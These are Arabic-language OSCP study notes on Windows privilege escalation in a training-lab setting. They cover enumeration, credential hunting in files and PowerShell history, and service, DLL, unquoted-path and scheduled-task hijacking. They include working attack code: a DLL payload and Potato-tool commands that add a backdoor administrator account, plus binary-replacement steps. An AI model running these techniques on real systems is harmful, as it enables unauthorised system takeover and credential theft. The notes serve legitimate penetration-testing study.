رفع الامتيازات (Privilege Escalation) هو تحويل وصول محدود لحساب مرتفع الصلاحيات — عادةً SYSTEM أو Administrator. الموديول ده بيغطّي ثلاث محاور:
Windows بيعتمد على 4 مكوّنات أساسية للتحكّم في الامتيازات — فهمها ضروري لتحديد مسارات الترقية:
بعد الحصول على Shell، التسرّع في تشغيل Exploits غلطة كبيرة. المختبرون المحترفون بيتعاملوا مع هذه المرحلة كـ Internal Reconnaissance — الاكتشافات هنا بتحدّد الاستراتيجية الكاملة للترقية.
| الأمر | ما يكشفه | ما تبحث عنه |
|---|---|---|
whoami | المستخدم الحالي واسم الجهاز | هل أنت service account؟ admin? |
whoami /groups | المجموعات الحالية وIntegrity Level | Backup Operators, Remote Desktop Users, Administrators |
whoami /priv | الامتيازات المخصَّصة للمستخدم | SeImpersonatePrivilege, SeBackupPrivilege, SeDebugPrivilege |
Get-LocalUser | كل الحسابات المحلية | حسابات بأسماء "admin" = أهداف عالية القيمة |
Get-LocalGroup | المجموعات المحلية وأعضاؤها | من في Administrators? |
systeminfo | نظام التشغيل، الـ Build، المعمارية | بيحدّد الـ Exploits المناسبة |
ipconfig /all | كل الـ Network Adapters | شبكات إضافية قابلة للوصول |
route print | جدول التوجيه | مسارات Lateral Movement |
netstat -ano | المنافذ المفتوحة وما بيستمع عليها | 3389=RDP فعّال، 3306=MySQL، 443=Web |
Get-Process | العمليات الجارية | ربط العمليات بالمنافذ والتطبيقات المثبَّتة |
Get-WmiObject Win32_Service | كل الخدمات ومساراتها | خدمات خارج مجلدات Windows الافتراضية |
البيانات الحساسة غالبًا بتكون غير محمية — مخزَّنة بلا مبالاة في ملفات نصية وملفات إعداد وملاحظات الاجتماعات. الخطأ البشري بيكون أسهل استغلالاً من ثغرات البرامج.
① البحث عن .kdbx → لا شيء
② فحص إعداد XAMPP → passwords.txt (كلمات مرور افتراضية فقط)
③ البحث في Desktop → asdf.txt = ملاحظات اجتماع بكلمة مرور Steve!
④ Steve = Remote Desktop Users → RDP كـ Steve
⑤ قراءة إعداد MySQL (متاح الآن) → admin123admin123!
⑥ نفس كلمة المرور = Windows credential لـ backupadmin (Admin group)
الدرس: إعادة استخدام كلمات المرور عبر الخدمات شائعة جداً
# البحث عن KeePass vaults
Get-ChildItem -Path C:\ -Include *.kdbx `
-Recurse -ErrorAction SilentlyContinue
# البحث في ملفات المستخدم عن بيانات حساسة
Get-ChildItem -Path C:\Users\dave `
-Include *.txt,*.pdf,*.docx,*.xlsx,*.ini,*.config `
-Recurse -ErrorAction SilentlyContinue
# قراءة ملف النوتس
type C:\Users\dave\Desktop\asdf.txt
# الانتقال لحساب آخر بعد إيجاد كلمة المرور
runas /user:backupadmin cmd
# → whoami: clientwk220\backupadmin
# البحث عن passwords في ملفات الإعداد
findstr /si "password" C:\*.xml C:\*.ini C:\*.txt 2>nul
findstr /si "password" C:\xampp\*.conf 2>nul
المنظمات بتفعَّل PowerShell Transcription وScript Block Logging لاكتشاف الهجمات — لكن هذه السجلات بتلتقط أيضاً كلمات المرور وأسماء الخوادم وأفعال المدراء بشكل غير مقصود.
Clear-History بتمسح فقط تاريخ الجلسة الحالية — PSReadLine بيخزَّن الأوامر بشكل دائم في ملف منفصل. كتير من المدراء مش عارفين هذا الملف موجود → مصدر غني جداً بالأوامر الحساسة.
# إيجاد ملف PSReadLine History
(Get-PSReadlineOption).HistorySavePath
# → C:\Users\dave\AppData\Roaming\Microsoft\Windows\
# PowerShell\PSReadLine\ConsoleHost_history.txt
# قراءة الـ History
type ConsoleHost_history.txt
# → Set-Secret -Name 'Server02 Admin PW' -Secret 'paperEarMonitor33@'
# → Start-Transcript -Path ...\transcript01.txt
# قراءة الـ Transcript — بيسجَّل كل شيء
type transcript01.txt
# → $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText
# استخدام كلمة المرور المُكتشَفة
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123!!"
winPEAS (جزء من مشروع PEASS-ng) بيفحص النظام ويبرز النتائج بالألوان حسب الخطورة.
| اللون | المعنى | الإجراء |
|---|---|---|
| 🔴 أحمر | Misconfiguration خطيرة / escalation vector | فحص فوري |
| 🟡 أصفر | معلومات مثيرة للاهتمام | تقييم يدوي |
| 🟢 أخضر | الحماية مفعَّلة | توثيق كـ Defense |
# تشغيل winPEAS (نقله للهدف أولاً)
.\winPEASany.exe # لكل المعماريات
.\winPEASx64.exe # لـ 64-bit فقط
# تصدير الناتج لملف للتحليل
.\winPEASx64.exe > winpeas_output.txt
# البدائل لو winPEAS اتحجب بالـ AV
.\Seatbelt.exe -group=all
.\JAWS-enum.ps1
winPEAS فوَّت ملف PSReadLine History والـ Transcript files في السيناريو التجريبي. الأدوات الآلية ممكن تتعطَّل بالـ AV. دايماً تحقَّق يدوياً من النتائج الآلية — False Positives بتحصل. الأتمتة مُسرِّعة، مش بديلة، عن التعداد اليدوي.
الخدمات (Services) هي عمليات خلفية يتحكّم فيها Service Manager — بتبدأ تلقائياً عند الإقلاع وبتشتغل بدون تفاعل مستخدم. كتير من الخدمات المدمجة بتشتغل كـ LocalSystem — وخدمات الجهات الخارجية غالبًا بتتثبَّت بصلاحيات خاطئة.
# 1. عَدّ الخدمات الشغّالة ومساراتها
Get-WmiObject Win32_Service | Where-Object {$_.State -eq 'Running'} |
Select Name,PathName | Format-List
# 2. ابحث عن خدمات خارج مجلدات Windows الافتراضية
# (C:\Windows\, C:\Windows\System32\)
# الخدمات في C:\xampp\, C:\Program Files\CustomApp\ هي الأهداف
# 3. فحص صلاحيات الملف
icacls 'C:\xampp\apache\bin\httpd.exe'
# BUILTIN\Users:(F) ← Full Control! إشارة خطر
# 4. نسخ احتياطي واستبدال بـ payload
copy httpd.exe httpd_orig.exe
copy C:\Users\dave\evil.exe httpd.exe
# 5. إعادة تشغيل الخدمة (أو انتظار Reboot)
Restart-Service -Name Apache2.4
# إذا لم يكن لديك صلاحية → انتظر Reboot أو استغلّ طريقة أخرى
Stop-Service -Name Apache2.4; Start-Service -Name Apache2.4
DLLs هي مكتبات كود مشتركة بتتحمَّل من التطبيقات وقت التشغيل. Windows بيبحث عنها بترتيب محدَّد.
استخدام Process Monitor (Procmon) لمراقبة الـ File System Access. بحثاً عن: NAME NOT FOUND لملفات .dll في Application Directory.
icacls 'C:\Program Files\FileZilla FTP Client'
# BUILTIN\Users:(W) ← Writable!
الـ Payload ينفَّذ في DllMain() عند DLL_PROCESS_ATTACH. مثال: إنشاء حساب Admin جديد أو إطلاق Reverse Shell.
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("cmd /c net user hacker Password1! /add");
system("cmd /c net localgroup administrators hacker /add");
}
return TRUE;
}
ضع الـ DLL باسم بالظبط زي اللي التطبيق بيدوَّر عليه (مثلاً TextShaping.dll). انتظار مستخدم بامتيازات أعلى يشغَّل التطبيق — Windows بيحمَّل الـ DLL الخبيث ويُنفَّذ الكود بامتيازاته.
لما مسار الخدمة يحتوي على مسافات وغير مُقتبَس، Windows بيسوء تفسير نهاية اسم الملف — بيجرَّب كل prefix كـ Executable قبل أن يصل للملف الحقيقي.
# إيجاد الخدمات ذات المسارات غير المُقتبَسة
wmic service get name,pathname |
findstr /i /v '"' |
findstr /i /v 'C:\Windows'
# فحص صلاحيات كل Directory في المسار
icacls "C:\Program Files\Enterprise Apps"
# BUILTIN\Users:(W) ← قابلة للكتابة!
# نسخ الـ Payload بالاسم الصحيح
copy evil.exe "C:\Program Files\Enterprise Apps\Inventory.exe"
# إعادة تشغيل الخدمة
Start-Service -Name "GammaService"
Restart-Service -Name "GammaService"
# → الكود ينفَّذ كـ LocalSystem
Binary Hijacking: الأسهل — تحتاج فقط Write Access لملف الـ EXE.
DLL Hijacking: أخفت — مش بتعدَّل الـ Service EXE نفسه، بتنتظر مستخدم أعلى.
Unquoted Path: لا تعديل مباشر — فقط وضع ملف في Directory.
Task Scheduler بيشغَّل برامج/scripts تلقائياً بناءً على Triggers (إقلاع، تسجيل دخول، وقت محدد، أحداث). ثلاثة أسئلة مفتاحية:
# عَدّ كل المهام المجدوَلة
schtasks /query /fo LIST /v | more
# PowerShell — تفاصيل أوفر، مُصفَّى بدون مهام Microsoft
Get-ScheduledTask |
Where-Object {$_.TaskPath -notlike '\Microsoft*'} |
Select TaskName, TaskPath, State
# فحص صلاحيات الملف المنفَّذ
icacls C:\Users\dave\cleanup.ps1
# dave:(F) ← Full Control! المستخدم الحالي يملكه
# استبدال الـ Script بـ payload
copy cleanup.ps1 cleanup_bak.ps1
copy evil.ps1 cleanup.ps1
# انتظار الـ Trigger (مثلاً كل دقيقة)
# → المهمة تشتغل كـ admin → حساب Admin جديد
مهمة بتشتغل كل دقيقة، بتنفَّذ script في C:\Users\dave (مجلد المستخدم الحالي)، وبتشتغل كـ Administrator. المختبر بيستبدَل الـ Script بـ Payload خبيث → عند الـ Trigger التالي → ينفَّذ كـ Admin → حساب Admin جديد.
# الحصول على معلومات الـ OS للبحث عن ثغرات
systeminfo
# → OS Name, Version, Build Number, Hotfix(s)
# مقارنة الـ Hotfixes المثبَّتة بقوائم الـ CVEs
Get-HotFix | Sort-Object InstalledOn -Descending
# أدوات البحث عن Kernel Exploits:
# - Windows Exploit Suggester (offline)
# - WinPEAS (يشير للـ CVEs المحتملة)
# - searchsploit "windows 10 1903 privilege escalation"
بيسمح للعملية بالتصرّف نيابةً عن مستخدم مُوثَّق آخر. مخصَّص افتراضياً لـ: Local Service, Network Service, IIS App Pools, SQL Server. وده هو نقطة الضعف — لو حصلت على Shell كـ service account بسبب ثغرة Web، غالبًا هتلاقي هذا الامتياز.
# التحقق من وجود SeImpersonatePrivilege
whoami /priv
# → SeImpersonatePrivilege Enabled ← الهدف!
# PrintSpoofer (Windows 10+)
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\out.txt"
# GodPotato (Windows Server 2012 → 2022)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker Pass123! /add && net localgroup administrators hacker /add"
# RoguePotato (بيئات قديمة)
.\RoguePotato.exe -r -e "cmd /c whoami"
# التحقق من نجاح الـ Shell
whoami → nt authority\system
GodPotato: الأحدث والأوسع دعماً (2012-2022). PrintSpoofer: ممتاز لـ Windows 10 ومتاح على أغلب Servers. RoguePotato: للبيئات القديمة. لو خدمة IIS أو SQL Server → فرصة عالية لوجود SeImpersonatePrivilege.
وصول محدود الامتيازات عبر Client-Side Exploit، Credential Stuffing، أو محاكاة Phishing. المستخدم الأولي عادةً Medium Integrity — هذا هو نقطة البداية.
whoami /all، Get-LocalUser، Get-LocalGroup، systeminfo، ipconfig /all، netstat -ano، Get-Process، التطبيقات المثبَّتة. ابنِ صورة كاملة قبل أي استغلال.
البحث في الملفات النصية، ملفات الإعداد (XAMPP, IIS, web.config)، KeePass، PSReadLine History، PowerShell Transcripts. الخطأ البشري أسهل استغلالاً من ثغرات البرامج.
WMI query لكل الخدمات الشغّالة ومساراتها. ركَّز على الخدمات خارج C:\Windows\ — خدمات الجهات الخارجية غالبًا بيكون عندها صلاحيات خاطئة.
هل فيه Unquoted Paths بمسافات؟ هل الـ Directories في المسار قابلة للكتابة؟ هل DLL Search Order قابلة للاستغلال؟ استخدم icacls لفحص كل Directory محتملة.
هل فيه مهام Custom بتشتغل كـ SYSTEM أو Admin؟ هل الـ Executable في مكان قابل للكتابة من المستخدم الحالي؟ schtasks /query /fo LIST /v ثم icacls على الملف المنفَّذ.
الفحص الآلي — العناصر الحمراء = انتباه فوري. تحقَّق يدوياً من كل نتيجة. winPEAS ممكن تفوَّت أشياء — استخدمها كمكمَّل مش بديل للتعداد اليدوي.
Patches ناقصة → Kernel Exploit (اختبر في Lab أولاً). SeImpersonatePrivilege → Potato Exploits → SYSTEM. فشل كل ما سبق → ارجع للـ Recon أو استغلّ طريق تاني.
# الهوية والامتيازات
whoami
whoami /groups
whoami /priv
whoami /all # كل المعلومات معاً
# المستخدمون والمجموعات
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
# معلومات النظام
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
# الشبكة
ipconfig /all
route print
netstat -ano
# العمليات والتطبيقات
Get-Process
Get-WmiObject -Class Win32_Product | Select Name,Version
# الخدمات
Get-WmiObject Win32_Service | Select Name,PathName,StartMode,State | Format-List
sc query type= all state= all
# بحث شامل عن كلمات المرور
findstr /si "password" C:\*.txt C:\*.xml C:\*.ini C:\*.config 2>nul
# ملفات المستخدمين
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.docx,*.xlsx,*.ini -Recurse -EA SilentlyContinue
# KeePass vaults
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse -EA SilentlyContinue
# PSReadLine History
(Get-PSReadlineOption).HistorySavePath
type "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# إعدادات XAMPP / IIS / تطبيقات الويب
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.ini
findstr /si "password" C:\inetpub\*.config
| التقنية | الشرط | الأمر الأساسي | مستوى الخطورة |
|---|---|---|---|
| Binary Hijacking | Write Access على Service EXE | icacls 'C:\path\svc.exe' | 🔴 حرج |
| DLL Hijacking | Write Access على App Dir + DLL ناقص | Process Monitor لتتبّع DLL loads | 🟡 عالي |
| Unquoted Path | مسافات + غير مُقتبَس + Dir قابل للكتابة | wmic service get name,pathname | findstr /v '"' | 🟡 عالي |
| Scheduled Task | Task يشتغل كـ SYSTEM + Script قابل للتعديل | schtasks /query /fo LIST /v | 🔴 حرج |
| SeImpersonate | SeImpersonatePrivilege مفعَّل | whoami /priv | 🔴 حرج |
| Kernel Exploit | Patches ناقصة | systeminfo + WES-NG | 🔴 حرج (خطر BSOD) |
| الأداة | نظام التشغيل | الاستخدام |
|---|---|---|
GodPotato | Win Server 2012 → 2022 / Win 10 | الخيار الافتراضي — الأشمل |
PrintSpoofer | Win 10 / Win Server 2016+ | بديل ممتاز لـ GodPotato |
RoguePotato | Win Server 2016 / بيئات قديمة | لما GodPotato وPrintSpoofer يفشلوا |
| # | التحقق | الأمر | الأداة/الاستغلال |
|---|---|---|---|
| 1 | SeImpersonatePrivilege مفعَّل؟ | whoami /priv | GodPotato / PrintSpoofer |
| 2 | خدمة بـ Write Access على EXE؟ | icacls <path> | Service Binary Hijacking |
| 3 | Scheduled Task بـ Script في مجلد المستخدم؟ | schtasks /query | استبدال الـ Script |
| 4 | Unquoted Path بـ Writable Dir؟ | wmic service get | وضع Malicious EXE |
| 5 | PSReadLine/Transcript بيحتوي Passwords؟ | (Get-PSReadlineOption).HistorySavePath | إعادة استخدام كلمات المرور |
| 6 | DLL ناقص في App Directory قابل للكتابة؟ | Process Monitor | DLL Hijacking |
الموديول ده بنى إطاراً منهجياً لرفع الامتيازات على Windows — من فهم نموذج التحكّم في الوصول، لصيد بيانات الاعتماد المخبأة، لاستغلال إعدادات خاطئة في الخدمات والمهام، وصولاً للامتيازات الكاملة عبر تقنيات الـ Kernel والـ Token Impersonation.
رفع الامتيازات مش حظ — هو منهجية. المختبر الذي يبني صورة كاملة عن البيئة قبل أي استغلال، ويتحقّق من كل مسار محتمل بترتيب من الأسهل للأصعب، هو من يصل للـ SYSTEM بأقل وقت وأقل ضوضاء.
في الـ Engagement الحقيقي: ابدأ بـ Quick Wins (SeImpersonate أو Credential Files) → لو فشلوا انتقل للخدمات (Binary/Unquoted/DLL) → لو فشلوا جرَّب Scheduled Tasks → كأخير ملاذ Kernel Exploits. وثَّق كل خطوة وكل نتيجة — حتى الفاشلة — لأن الفشل بيرشدك للمسار الصح.
نهاية نوتس الموديول الرابع عشر — OSCP: Windows Privilege Escalation